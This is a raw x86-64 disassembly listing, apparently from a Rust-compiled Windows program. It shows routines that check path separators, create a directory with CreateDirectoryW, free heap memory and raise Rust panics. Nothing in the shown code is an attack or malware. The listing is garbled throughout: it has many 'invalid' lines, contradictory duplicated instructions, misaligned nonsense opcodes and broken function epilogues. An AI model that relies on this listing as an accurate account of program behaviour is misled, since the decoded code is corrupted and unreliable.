jne case.0x14002f3a6.1370
ja 0x140084087
add eax, dword [rax]
add byte [rbp + 4], dh
jne case.0x14002f3a6.1370
xor eax, eax
jmp 0x140083d0e
invalid
shr bl, 0x15
add rcx, rax
mov rsi, rcx
mov esi, ecx
mov esi, ecx
movzx eax, byte [rsi]
cmp al, 0x2f
sete cl
xchg esp, eax
invalid
cmp al, 0x5c
invalid
xchg esp, eax
sar dword [rsp + rbx*2], 0xf
sete al
or al, cl
invalid
sete al
or al, cl
invalid
enter 0xffffffffffff8b48, 0x4d
mov rcx, qword [rbp + 0x48]
mov qword [rbp + 0x90], rcx
nop
add byte [rax], al
invalid
mov qword [rbp + 0x90], rcx
nop
add byte [rax], al
add byte [rdi], cl
movups xmm0, xmmword [rbp + 0x28]
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
cmp byte [r15], r9b
movups xmmword [rbp + 0x80], xmm1
adc dword [rbp + 0x80], ecx
add byte [rax], al
add byte [rdi], cl
movups xmmword [rbp + 0x70], xmm0
adc dword [rbp + 0x70], eax
mov rcx, qword [rbp + 0xc0]
mov ecx, dword [rbp + 0xc0]
rol byte [rax], 0
add byte [rax - 0x77], cl
invalid
add byte [rax], al
mov qword [rbp + 0x60], rcx
mov dword [rbp + 0x60], ecx
invalid
mov qword [rbp + 0x68], r13
mov dword [rbp + 0x68], ebp
mov word [rbp + 0x98], 0x200
mov byte [rbp + 0x9a], al
invalid
invalid
add byte [rax], al
invalid
mov dword [rbp + 0x98], 0x85880200
invalid
add cl, byte [rax + 0x9a85]
add byte [rax], al
add byte [rax - 0x73], cl
jne 0x140083d77
invalid
lea rsi, [rbp + 0x29]
lea rdi, [rbp + 0x28]
jge 0x140083d7a
sub byte [rax - 0x73], cl
lea rbx, [rbp + 0x60]
xor r15d, r15d
invalid
pop rbp
invalid
dec dword [rbp + rcx*4 - 0x4b]
movabs al, byte [0x958b4843eb000000]
add byte [rax], al
add bl, ch
invalid
invalid
invalid
xchg ebp, eax
lea r14, [rbp + 0xa0]
jmp case.0x14002f3a6.1401
invalid
add bl, ch
mov rdx, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb0]
mov al, 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0xa0]
imul rcx, rdx, 0x38
mov rax, qword [rbp + 0xa0]
imul rcx, rdx, 0x38
add byte [rax], al
add byte [rax + 0x6b], cl
retf 0x4438
invalid
mov byte [rax + rcx], r12b
or byte [rdi], cl
adc byte [rsi], al
movups xmm0, xmmword [rsi]
invalid
movups xmm1, xmmword [rsi + 0x10]
movups xmm2, xmmword [rsi + 0x20]
and byte [rdi], cl
adc dword [rax + rcx + 1], eax
push rsi
and byte [rdi], cl
adc dword [rax + rcx + 1], eax
movups xmmword [rax + rcx + 0x11], xmm1
adc dword [rax + rcx + 0x11], ecx
movups xmmword [rax + rcx + 0x21], xmm2
or byte [rcx], ah
mov r8, qword [rsi + 0x2f]
mov qword [rax + rcx + 0x30], r8
mov dword [rax + rcx + 0x30], eax
inc rdx
mov qword [rbp + 0xb0], rdx
mov byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdi
mov rcx, rdi
mov rdx, rbx
call fcn.14007e810
pop rcx
stosb byte [rdi], al
invalid
inc dword [rdi + rcx - 0x4a]
sub byte gs:[rcx - 0x80], al
cld
or cl, byte [rdi]
invalid
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
invalid
pop rcx
stosb byte [rdi], al
invalid
sub byte gs:[rcx - 0x80], al
cld
or cl, byte [rdi]
test byte [rdi + 0x41000000], ah
lea eax, [rsp - 6]
and al, 0xfa
lea eax, [r12 - 6]
and al, 0xfa
movzx ecx, al
lea rax, [rcx + 1]
lea eax, [rcx + 1]
lea eax, [rcx + 1]
cmp cl, 4
cmovae rax, r15
cmovae eax, edi
stc
add al, 0x49
cmovae eax, edi
cmp rax, 1
je 0x140083e10
cmp eax, 2
je case.0x14002f3a6.1401
invalid
clc
add dh, byte [rcx + rax*8 - 0x7d]
clc
add esi, dword [rbp + 0x5c]
rol dword [rbx + 0x5c7503f8], 0x48
mov eax, dword [rbp + 0xb0]
mov al, 0
add byte [rax], al
cmp eax, 3
jne 0x140083e45
mov rax, qword [rbp + 0xb0]
mov al, 0
add byte [rax], al
sub rax, 1
jb case.0x14002f3a6.1401
mov rcx, qword [rbp + 0xa0]
add byte [rax], al
imul rdx, rax, 0x38
cmp byte [rcx + rdx], 9
jne case.0x14002f3a6.1401
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0xb0], eax
jmp case.0x14002f3a6.1401
xor edx, edx
cmp qword [rbp + 0xb0], 0
mov ebp, 0xb0
add byte [rdi], cl
xchg ebp, eax
ret 0x8948
xchg ebp, eax
mov al, 0
add byte [rax], al
mov ebp, 0xb0
add byte [rdi], cl
xchg ebp, eax
ret 0x8948
mov al, 0
add byte [rax], al
cmp qword [rbp + 0xa8], rdx
jne case.0x140032048.1368
test dword [rax], edi
invalid
invalid
invalid
test dword [rax], edi
invalid
mov byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov ecx, esi
mov rcx, r14
mov ecx, esi
call fcn.14004dc00
rcr byte [rbp + 0x1de9fffc], 0xff
invalid
jmp 0x140083d62
mov rdx, qword [rbp + 0xb0]
add byte [rax], al
add byte [rax + 0x3b], cl
xchg ebp, eax
test al, 0
add byte [rax], al
add byte [rax], al
cmp rdx, qword [rbp + 0xa8]
jne case.0x140032048.1368
mov byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
call fcn.14004dc00
jmp 0x140083d62
popfq
cld
invalid
mov qword [rbp + 0x28], 1
add dword [rax], eax
add byte [rax], al
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
adc dword [rbp + 0x30], eax
adc dword [rbp + 0x30], eax
xor r14b, r8b
mov byte [rbp + 0x40], 1
add dword [rax - 0x75], ecx
test dword [rax + 0x48000000], esp
add byte [rax], al
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xa0]
mov eax, dword [rbp + 0xa0]
add byte [rax], al
mov qword [rbp + 0xc0], rax
test eax, eax
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], ebp
test al, 0
add byte [rax], al
invalid
invalid
mov rax, qword [rbp + 0xa8]
test al, 0
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0xb8], eax
test dword [rax + 0x48000000], edi
add byte [rax], al
add byte [rax - 0x75], cl
test dword [rax + 0x48000000], esi
add byte [rax], al
test rax, rax
mov rax, qword [rbp + 0xb0]
mov eax, dword [rbp + 0xb0]
add byte [rax], al
test rax, rax
ror byte [rdi], 0x84
push 0x48000001
add dword [rax], eax
invalid
invalid
je 0x140084014
test byte [rax + 1], ch
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x6b], cl
invalid
invalid
imul rsi, rax, 0x38
imul esi, eax, 0x38
cmp byte [rax - 0x75], cl
mov rbx, qword [rbp + 0xc0]
popfq
rol byte [rax], 0
add byte [rax], al
add byte [rax + 1], cl
fimul word [rbp + rcx*4 + 0x65]
lea esp, [rbp + 0x61]
add rsi, rbx
add esi, ebx
lea r12, [rbp + 0x61]
lea esp, [rbp + 0x61]
lea rdi, [0x1400f09cc]
lea edi, [0x1400f09cc]
retf
invalid
xor eax, eax
jmp 0x140083ed8
shr bl, 0xf
xor eax, eax
add rbx, 0x38
add ebx, 0x38
ret
cmp byte [rax + 0x39], cl
je 0x140084014
test byte [rcx + rax], bh
add byte [rax], al
cmp rbx, rsi
cmp ebx, esi
je 0x140084014
test byte [rcx + rax], bh
cmp al, 1
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
movzx r13d, byte [rbx]
cmp r13d, 0xa
std
or cl, byte [rdi]
test byte [rsi], ch
add dword cs:[rax], eax
invalid
sub eax, dword [rcx - 0x7d]
std
or cl, byte [rdi]
test byte [rsi], ch
invalid
add dword [rax], eax
add byte [rax + rcx*4 + 0x6d], al
mov byte [rbp + 0x60], r13b
mov byte [rbp + 0x60], ch
insd dword [rdi], dx
invalid
mov rcx, qword [rbx + 0x30]
mov qword [r12 + 0x2f], rcx
mov dword [rsp + 0x2f], ecx
xor byte [r9 - 0x77], cl
mov dword [rsp + 0x2f], ecx
and al, 0x2f
movups xmm0, xmmword [rbx + 1]
movups xmm1, xmmword [rbx + 0x11]
movups xmm2, xmmword [rbx + 0x21]
adc byte [rbx + 0x21], dl
adc qword [r15], rcx
adc dword [rdi], ecx
adc byte [rbx + 0x21], dl
and dword [rcx + 0xf], eax
movups xmmword [r12 + 0x20], xmm2
adc dword [rsp + 0x20], edx
and al, 0x20
and byte [rcx + 0xf], al
adc dword [rsp + 0x10], ecx
and al, 0x10
movups xmmword [r12 + 0x10], xmm1
and al, 0x10
movups xmmword [r12], xmm0
movups xmmword [rsp], xmm0
add al, 0x24
and al, 0xa8
add dword [rdx + rbp + 0x48], esi
test al, 1
je 0x140083f3e
lea rcx, [rbp + 0x60]
lea ecx, [rbp + 0x60]
invalid
lea rdx, [0x1400e9180]
adc eax, 0x65261
invalid
invalid
call fcn.14007ebe0
mov esp, 0x84ffffac
sal byte [rbp + 0x16], 0x41
mov r8d, 1
lodsb al, byte [rsi]
invalid
test al, al
jne 0x140083f3e
invalid
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
sub byte [r8 - 0x73], r9b
sub byte [rax - 0x73], cl
add byte [rax], al
lea rcx, [rbp + 0x28]
sub byte [rax - 0x73], cl
lea rdx, [0x1400e9042]
adc eax, 0x65109
invalid
add al, ch
add bl, dh
invalid
call fcn.140081d40
fdivp st(7)
invalid
dec dword [rbx + rcx*4 + 0x75]
jo case.0x140083f69.2
mov r14, qword [rbp + 0x70]
jne 0x140083fb2
lea eax, [r13 - 6]
lea eax, [rbp - 6]
movzx eax, al
mov dh, 0xc0
lea r15, [rax + 1]
cmp al, 4
invalid
add dword [rsp + rax], edi
add al, 0xb8
mov eax, 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi + rcx + 0x43], cl
clc
cmovae r15, rax
movsxd rax, dword [rdi + r15*4]
invalid
add rax, rdi
mov r8, r15
clc
lea rdx, [0x1400e9042]
jmp rax
push rax
invalid
add bh, bh
loopne case.0x1400689bc.1318
invalid
mov edx, dword [rbp + 0x88]
mov r8, qword [rbp + 0x90]
test dword [rax - 0x15000000], edx
add byte [rax], al
add bl, ch
add byte [rax], al
jmp case.0x140083f69.1
and eax, 0x68558b48
mov edx, dword [rbp + 0x68]
push rbp
push 0xffffffffebf0894d
mov r8, r14
jmp case.0x140083f69.1
invalid
sbb al, 0x41
mov r8d, 1
mov eax, 1
add byte [rax - 0x73], cl
adc eax, 0x650b2
invalid
lea rdx, [0x1400e9043]
add bl, ch
jmp case.0x140083f69.1
or eax, 0x2b841
add byte [rax], al
lea rdx, str....
lea rcx, [rbp + 0x28]
call fcn.140081d40
xchg edi, eax
invalid
invalid
inc dword [rcx - 0x7d]
inc dword [rcx]
xchg edi, eax
invalid
inc dword [rcx - 0x7d]
inc dword [rcx]
je case.0x1400689bc.1295
test byte [rsi], dl
invalid
invalid
push qword [rax - 0x7ab2ff]
mov al, 1
test r15, r15
invalid
add dword [rbp - 0x7b], ecx
dec dword [rdi]
test dword [0x189083fbe], ecx
mov eax, dword [rbp + 0x80]
add byte [rax], 0
invalid
jne case.0x14007d912.299
mov rax, qword [rbp + 0x80]
add byte [rax], 0
add byte [rcx + rcx*4 - 0x17], al
mov ecx, ebp
mov ecx, r13d
mov ecx, ebp
lea rdx, [0x1400f09e0]
movsxd rcx, dword [rdx + rcx*4]
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
adc edx, ecx
invalid
mov cl, byte [rax + 1]
sar edi, 1
jmp rcx
invalid
add r14, 4
add esi, 4
mov r13, r14
jmp case.0x140083fd6.2
lea rcx, [rax + 1]
test rax, rax
test eax, eax
test eax, eax
cmove rcx, rax
lea r13, [r14 + rcx]
add r13, 8
jmp case.0x140083fd6.2
cmove rcx, rax
lea r13, [r14 + rcx]
add r13, 2
test r13, r13
setne al
jmp case.0x14007d912.299
cmp qword [rbp + 0xb8], 0
mov ebp, 0xb8
add byte [rsi + rdx + 0x48], dh
mov ecx, dword [0x1400f91f8]
xor edx, edx
mov r8, qword [rbp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp - 8]
je 0x140084034
push rcx
invalid
invalid
clc
cmp qword [rsi + 8], 0
je 0x140084051
add byte [rcx], dh
sar bh, cl
adc eax, 0x2c3b7
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x14008391e
clc
invalid
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.1400a9cf0
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1400a9cf0
ud2
mov byte [rbp + 0xcf], 0
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1400a9cf0
ud2
mov ecx, 8
add byte [rax], al
mov edx, 0xe0
call fcn.1400a9bd0
add al, ch
and bl, byte [rbx + 2]
add byte [rdi], cl
ud2
mov qword [rsp + 0x10], rdx
push rbp
ud2
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
cmp qword [rbp + 0xb8], 0
add byte [rax], al
add byte [rax], al
je 0x1400840ec
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
push rcx
invalid
xor edx, edx
mov r8, qword [rbp + 0xc0]
mov eax, dword [rbp + 0xc0]
mov eax, dword [rbp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
add byte [rax - 0x7d], cl
jge 0x140084120
cmp qword [rbp + 0x30], 0
je 0x140084106
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rbp + 0x28]
invalid
mov r8, qword [rbp + 0x28]
sub byte [rax - 0x75], cl
or eax, 0x750fa
invalid
invalid
mov rcx, qword [0x1400f91f8]
invalid
add byte [rcx], dh
sar bh, cl
adc eax, 0x2c302
add al, bl
add al, byte [rax]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
add al, bl
add al, byte [rax]
add al, bl
add al, byte [rax]
mov byte [rbp + 0xcf], 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
cmp qword [rbp + 0x18], 0
je 0x140084156
invalid
adc ecx, dword [rbx + rcx*4 + 0x45]
adc byte [rax - 0x75], cl
mov ecx, dword [0x1400f91f8]
mov r8, qword [rbp + 0x10]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
sub byte [rbx + 0x5f], bl
sub byte [rbx + 0x5f], bl
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax], al
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
invalid
add byte [rax], al
add byte [rax + 0xcfbd], al
add byte [rax], al
cmp byte [rbp + 0xcf], 0
add byte [rax], al
add byte [rbp + 0x20], dh
jne 0x1400841b5
cmp qword [rbp + 0xa8], 0
cmp dword [rbp + 0xa8], 0
add byte [rax], al
je 0x1400841b5
mov r8, qword [rbp + 0xa0]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
pop rbp
ret
int3
or ecx, dword [rax - 0x77]
ror dword [rcx + rcx*4 - 0x3e], 1
jmp fcn.1400842c0
mov rcx, rdx
mov rdx, r8
ror dword [rcx + rcx*4 - 0x3e], 1
jmp fcn.1400841f0
add byte [rax], al
int3
int3
push rax
mov r8, rdx
mov rdx, rcx
mov edx, ecx
mov edx, ecx
lea rcx, [rsp + 0x20]
call fcn.14007be20
jl 0x140084205
dec dword [rax - 0x75]
and al, 0x20
invalid
jl 0x140084205
invalid
dec dword [rax - 0x75]
and al, 0x20
invalid
and byte [rax - 0x75], cl
je case.0x1400836ee.65
mov rsi, qword [rsp + 0x28]
test rax, rax
test eax, eax
sub byte [rax - 0x7b], cl
ror byte [rdi], 0x84
lea eax, [rax]
add byte [rax], al
invalid
test eax, eax
je case.0x14007ec64.274
add byte [rax - 0x75], cl
and al, 0x30
mov rcx, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov qword [rsp + 0x28], rsi
and al, 0x28
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x20]
lea edx, [rsp + 0x20]
lea edx, [rsp + 0x20]
push rsp
and al, 0x20
mov r8b, 1
call fcn.140082750
mov rdi, qword [rsp + 0x38]
and al, 0x38
adc ch, ah
invalid
and al, 0x38
cmp byte [rax - 0x75], cl
mov rsi, qword [rsp + 0x40]
je case.0x14007e263.316
and al, 0x40
test rdi, rdi
je case.0x14007ec64.274
mov rcx, rdi
mov ecx, edi
stc
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
add al, byte [rax]
sar bh, cl
adc eax, 0x2bf8e
add al, byte [rax]
add al, byte [rax]
test eax, eax
je 0x140084279
test rsi, rsi
test esi, esi
je case.0x14007e263.324
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x74f8e
mov cs, word [rdi + 7]
add byte [rcx], dh
xor esi, esi
div byte [rcx]
xor edx, edx
mov r8, rdi
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
xchg ecx, eax
rol dword [rdx], 0
add bl, ch
call qword cs:[sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2c129
jmp case.0x14007ec64.274
call qword [sym.imp.kernel32.dll_GetLastError]
adc eax, 0x2c129
sub ecx, eax
add al, byte [rax]
mov ebx, eax
ret
shl rbx, 0x20
shl ebx, 0x20
jrcxz case.0x14007e263.324
and byte [rax - 0x7d], cl
or rbx, 2
retf
add cl, byte [rax - 0x7b]
test rsi, rsi
je case.0x14007ec64.273
div byte [rdx + rdx + 0x48]
mov rcx, qword [0x1400f91f8]
mov ecx, dword [0x1400f91f8]
or eax, 0x74f63
invalid
xor edx, edx
ror byte [rcx - 0x77], cl
mov r8, rdi
clc
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x2c168
push 0x480002c1
mov esi, ebx
rol dword [rdx], 0
add al, byte [rax]
mov rsi, rbx
jmp case.0x14007ec64.274
add dh, byte [rcx]
xor esi, esi
test byte [rax - 0x77], 0xf0
mov rax, rsi
add rsp, 0x50
add esp, 0x50
invalid
push rax
pop rbx
pop rdi
pop rsi
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
push r15
push rdi
push r14
push r13
push rbp
push r12
push rsp
push rsi
push rdi
push rbx
sub rsp, 0x1b8
in al, dx
mov eax, 0x48000001
add dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
add byte [rax], al
lea rbp, [rsp + 0x80]
lea ebp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rbp + 0x130], 0xfffffffffffffffe
mov dword [rbp + 0x130], 0xfffffffe
test dword [rax], esi
xor byte [rcx], al
add byte [rax], al
add dword [rax], eax
add dh, bh
invalid
invalid
invalid
dec dword [rax - 0x77]
mov rsi, rdx
mov esi, edx
invalid
mov rdi, rcx
mov edi, ecx
iretd
lea rcx, [rbp + 0xc0]
lea ecx, [rbp + 0xc0]
rol byte [rax], 0
add byte [rax], al
add byte [rax - 0x77], cl
cli
mov rdx, rdi
mov edx, edi
mov r8, rsi
invalid
call fcn.14007e360
invalid
movabs al, byte [0xc085b60fffff]
movzx eax, byte [rbp + 0xc0]
mov dh, 0x85
test eax, eax
rol byte [rax], 0
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rbp + 0xd0]
mov ecx, dword [rbp + 0xd0]
invalid
rol byte [rax], 1
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rbp + 0xe0]
mov edx, dword [rbp + 0xe0]
xchg ebp, eax
loopne 0x140084311
add byte [rax], al
add byte [rdi + rcx - 0x4a], al
invalid
invalid
add byte [rax], al
movzx r8d, al
movzx eax, al
mov dh, 0xc0
ror byte [rbp + rcx*4 + 0xd], 0xda
lea r9, [0x1400f09f8]
fcmovb st(0), st(6)
mov byte [rsi], 0
invalid
add byte [rdi + 0x63], cl
adc al, 0x81
movsxd r10, dword [r9 + r8*4]
add r10, r9
add edx, ecx
retf 0x8949
mov r8, rsi
mov r9, rdi
mov ecx, edi
mov ecx, edi
jmp r10
jmp rdx
add rcx, 4
rol dword [rbx + rbp*8], 0x34
jmp case.0x14007eb24.311
xor al, 0x4c
lea eax, [rdx + 1]
invalid
lea r8, [rdx + 1]
add dword [rax - 0x7b], ecx
test rdx, rdx
test edx, edx
ror byte [rdi + rcx + 0x44], cl
cmove r8, rdx
add rcx, r8
add ecx, eax
ret 0x14c
add ecx, eax
ror dword [rax - 0x7d], 0xc1
add rcx, 8
add ecx, 8
or bl, ch
jmp case.0x14007eb24.311
and byte [rcx + 6], bh
mov ecx, 6
add bl, ch
jmp case.0x14007eb24.311
sbb dword [rbp + rcx*4 + 0x42], ecx
add dword [rax - 0x7b], ecx
invalid
invalid
lea r8, [rdx + 1]
test rdx, rdx
ror byte [rdi + rcx + 0x44], cl
ret 0x14c
invalid
invalid
cmove r8, rdx
add rcx, r8
ror dword [rax - 0x7d], 0xc1
add ch, bl
jmp case.0x14007eb24.311
mov ecx, 2
invalid
invalid
add rcx, 2
jmp case.0x14007eb24.311
mov ecx, 2
add al, byte [rax]
add byte [rax], al
mov r8, rsi
invalid
sub r8, rcx
jb 0x1400847b6
invalid
add al, 0
add al, 0
invalid
invalid
add al, 0
add byte [rax + 1], cl
add byte [rax], al
add rcx, rdi
stc
mov r9, rcx
mov ecx, ecx
leave
test r8, r8
je 0x140084393
movzx ecx, byte [r9]
movzx ecx, byte [rcx]
cmp cl, 0x2f
stc
invalid
sete dl
cmp cl, 0x5c
xchg esp, eax
ret 0xf980
pop rsp
sete cl
or cl, dl
xchg esp, eax
ror dword [rax], 0xd1
jmp 0x140084395
add dh, byte [rcx]
xor ecx, ecx
leave
mov rdx, qword [rbp + 0xe0]
loopne 0x14008439a
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rbp + 0x2f], rdx
push rbp
invalid
movups xmm0, xmmword [rbp + 0xc1]
test ecx, eax
add byte [rax], al
add byte [rdi], cl
adc byte [rbp + 0xd1], cl
invalid
rol dword [rax], 1
add byte [rax], al
movups xmm1, xmmword [rbp + 0xd1]
invalid
movaps xmmword [rbp + 0x20], xmm1
movaps xmmword [rbp + 0x10], xmm0
and byte [r15], r9b
sub dword [rbp + 0x10], eax
adc byte [rax - 0x7b], cl
div byte [rsi + rax + 0x3c]
test rsi, rsi
test esi, esi
je 0x1400843c1
cmp al, 6
jne 0x1400843c9
invalid
jmp 0x1400843ea
cmp al, 2
ja case.0x1400836ee.108
mov rdx, qword [rbp + 0x2f]
mov edx, dword [rbp + 0x2f]
mov qword [rbp + 0xdf], rdx
movaps xmm0, xmmword [rbp + 0x10]
add byte [rax], al
add byte [rdi], cl
sub byte [rbp + 0x10], al
adc byte [rdi], cl
sub byte [rbp + 0x20], cl
movaps xmm1, xmmword [rbp + 0x20]
movaps xmmword [rbp + 0xd0], xmm1
rol byte [rax], 1
add byte [rax], al
movaps xmmword [rbp + 0xc0], xmm0
rol byte [rax], 0
add byte [rax - 0x75], cl
xchg ebp, eax
mov rdx, qword [rbp + 0xdf]
fild word [rax]
add byte [rax], al
mov qword [rbp + 0xa8], rdx
test al, 0
add byte [rax], al
movaps xmm0, xmmword [rbp + 0xc0]
movaps xmm1, xmmword [rbp + 0xd0]
test eax, eax
add byte [rax], al
rol byte [rax], 0
add byte [rdi], cl
sub byte [rbp + 0xd0], cl
invalid
rol byte [rax], 1
add byte [rax], al
movups xmmword [rbp + 0x99], xmm1
movups xmmword [rbp + 0x89], xmm0
lea ebx, [rcx + 0xf000000]
cdq
add byte [rax], al
add byte [rdi], cl
adc dword [rbp + 0x89], eax
test dword [rcx + 0x48000000], ecx
mov dword [rbp + 0xb8], edi
mov dword [rax], eax
add byte [rax], al
mov qword [rbp + 0xb8], rdi
mov ebp, 0xb8
mov eax, 0x48000000
mov dword [rbp + 0x78], edi
mov qword [rbp + 0x78], rdi
jge case.0x140084570.124
js 0x140084468
mov qword [rbp + 0x80], rsi
add byte [rax], al
add byte [rax + 0x8885], cl
mov byte [rbp + 0x88], al
add byte [rsi - 0x39], ah
test dword [rax], esi
mov word [rbp + 0xb0], 0x200
add byte [rax], al
add byte [rdx], al
add cl, byte [rax + 0xb28d]
mov byte [rbp + 0xb2], cl
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x69e16
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
invalid
add byte [rax - 0x77], cl
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x40], 0
cmp byte [r8 - 0x39], r9b
mov dword [rbp + 0x40], 0
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rbp + 0x48], 6
mov word [rbp + 0x70], 0x200
add byte [rdx], al
invalid
jo 0x140084457
add byte [rdx], al
add al, dh
jb case.0x1400836ee.72
mov byte [rbp + 0x72], 0
lea rcx, [rbp - 0x28]
lea ecx, [rbp - 0x28]
lea rdx, [rbp + 0x78]
push rbp
js 0x14008444d
call fcn.140084850
out 3, eax
add byte [rax], al
cmp byte [rbp - 0x28], 0xa
jge 0x140084444
fmul dword [rdx]
or cl, byte [rdi]
test byte [rbp + 0x48000000], ch
lea ebx, [rbp + 0xf8]
je 0x140084520
add byte [rax], al
add byte [rax - 0x73], cl
popfq
clc
add byte [rax], al
add byte [rbp + rcx*4 + 0x75], cl
movabs al, byte [0xc0a58d4c387d8d4c]
lea rbx, [rbp + 0xf8]
add byte [rax], al
lea r14, [rbp - 0x60]
lea r15, [rbp + 0x38]
lea edi, [rbp + 0x38]
lea r12, [rbp + 0xc0]
lea r13, [rbp - 0x28]
insd dword [rdi], dx
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x6d], cl
insd dword [rdi], dx
insd dword [rdi], dx
fmul dword [rax - 0x73]
jge case.0x140084570.138
lea rdi, [rbp + 0x78]
lea edi, [rbp + 0x78]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
int1
mov rcx, r14
int1
mov rdx, r15
call fcn.140084850
add eax, dword [rax]
invalid
add byte [rax], al
cmp byte [rbp - 0x60], 0xa
je 0x14008453d
or cl, byte [rdi]
test byte [rax + 0x48000000], cl
mov eax, dword [rbp + 8]
mov rax, qword [rbp + 8]
or byte [r8 - 0x77], r9b
test eax, esi
lock add byte [rax], al
mov qword [rbp + 0xf0], rax
lock add byte [rax], al
add byte [rax], al
add byte [rdi], cl
adc byte [rbp - 0x28], al
invalid
movups xmm0, xmmword [rbp - 0x28]
fmul dword [rdi]
movups xmm1, xmmword [rbp - 0x18]
adc byte [rbp - 0x18], cl
movups xmm2, xmmword [rbp - 8]
push rbp
clc
movaps xmmword [rbp + 0xe0], xmm2
add byte [rax], al
movaps xmmword [rbp + 0xd0], xmm1
add byte [rax], al
movaps xmmword [rbp + 0xc0], xmm0
add byte [rax], al
add byte [rax - 0x75], cl
ror byte [r8 - 0x77], 1
mov dword [rbx + 0x30], eax
invalid
mov rax, qword [rbp - 0x30]
mov qword [rbx + 0x30], rax
mov dword [rbx + 0x30], eax
mov dword [rbx + 0x30], eax
xor byte [rdi], cl
movups xmm0, xmmword [rbp - 0x60]
adc byte [rbp - 0x60], al
movups xmm1, xmmword [rbp - 0x50]
movups xmm2, xmmword [rbp - 0x40]
invalid
mov r8b, 0xf
adc byte [rbp - 0x40], dl
invalid
ror byte [rdi], 0x11
push rbx
and byte [rdi], cl
adc dword [rbx + 0x10], ecx
invalid
invalid
movups xmmword [rbx + 0x20], xmm2
adc dword [rbx + 0x20], edx
movups xmmword [rbx + 0x10], xmm1
adc byte [r15], cl
adc byte [rdi], cl
movups xmmword [rbx], xmm0
adc dword [rbx], eax
mov rcx, r12
mov rdx, rbx
loope 0x14008454c
mov edx, ebx
call fcn.14007ebe0
invalid
test al, al
je 0x14008453d
invalid
mov rcx, r13
